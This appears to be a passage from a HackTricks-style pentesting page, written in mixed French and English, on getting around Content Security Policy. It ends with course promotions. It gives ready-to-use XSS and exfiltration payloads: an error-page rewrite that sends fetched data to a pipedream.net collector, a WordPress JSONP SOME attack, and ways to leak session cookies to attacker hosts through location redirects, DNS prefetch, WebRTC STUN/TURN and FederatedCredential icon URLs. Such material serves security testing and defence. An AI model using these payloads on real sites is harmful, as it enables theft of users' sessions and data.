D’après this writeup, il semble qu’il était possible de réaliser un bypass d’une protection CSP en chargeant une page d’erreur (potentiellement sans CSP) et en réécrivant son contenu.

a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
}, 1000)

SOME + ‘self’ + wordpress

SOME est une technique qui abuse d’un XSS (ou d’un XSS fortement limité) in an endpoint of a page pour abuser other endpoints of the same origin. Cela se fait en chargeant l’endpoint vulnérable depuis une page d’attaquant puis en rafraîchissant la page de l’attaquant vers le véritable endpoint de la même origine que vous voulez abuser. De cette façon l’endpoint vulnérable peut utiliser l’objet opener dans le payload pour access the DOM du real endpoint to abuse. Pour plus d’informations, voir :

SOME - Same Origin Method Execution

De plus, wordpress a un JSONP endpoint à /wp-json/wp/v2/users/1?_jsonp=data qui va reflect les data renvoyées dans la sortie (avec la limitation aux lettres, chiffres et points).

Un attaquant peut abuser de cet endpoint pour generate a SOME attack contre WordPress et embed celui-ci à l’intérieur de <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> notez que ce script sera loaded parce qu’il est allowed by ‘self’. De plus, et parce que WordPress est installé, un attaquant pourrait abuser du SOME attack via le vulnerable callback endpoint qui bypasses the CSP pour donner plus de privilèges à un utilisateur, installer un nouveau plugin…
For more information about how to perform this attack check https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

CSP Exfiltration Bypasses

If there is a strict CSP that doesn’t allow you to interact with external servers, there are some things you can always do to exfiltrate the information.

Location

You could just update the location to send to the attacker’s server the secret information:

var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid

Balise meta

Vous pouvez rediriger en injectant une balise meta (c’est juste une redirection, cela n’entraînera pas de leak de contenu)

<meta http-equiv="refresh" content="1; http://attacker.com" />

DNS Prefetch

Pour charger les pages plus rapidement, les navigateurs vont pré-résoudre les noms d’hôtes en adresses IP et les mettre en cache pour une utilisation ultérieure.
Vous pouvez indiquer à un navigateur de pré-résoudre un nom d’hôte avec : <link rel="dns-prefetch" href="something.com">

Vous pouvez abuser de ce comportement pour exfiltrer des informations sensibles via des requêtes DNS :

var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
body.innerHTML =
body.innerHTML +
'<link rel="dns-prefetch" href="//' +
sessionid +
'attacker.ch">'

Une autre façon :

const linkEl = document.createElement("link")
linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)

Pour éviter cela, le serveur peut envoyer l’en-tête HTTP :

X-DNS-Prefetch-Control: off

Tip

Apparemment, cette technique ne fonctionne pas dans headless browsers (bots)

WebRTC

Sur plusieurs pages, vous pouvez lire que WebRTC ne vérifie pas la politique connect-src du CSP.

En fait, vous pouvez leak des informations en utilisant une DNS request. Regardez ce code:

;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()

Une autre option :

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

CredentialsContainer

La popup de credential envoie une requête DNS vers iconURL sans être restreinte par la page. Elle ne fonctionne que dans un contexte sécurisé (HTTPS) ou sur localhost.

navigator.credentials.store(
new FederatedCredential({
id:"satoki",
name:"satoki",
provider:"https:"+your_data+"example.com",
iconURL:"https:"+your_data+"example.com"
})
)

Vérifier les politiques CSP en ligne

Génération automatique de CSP

https://csper.io/docs/generating-content-security-policy

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks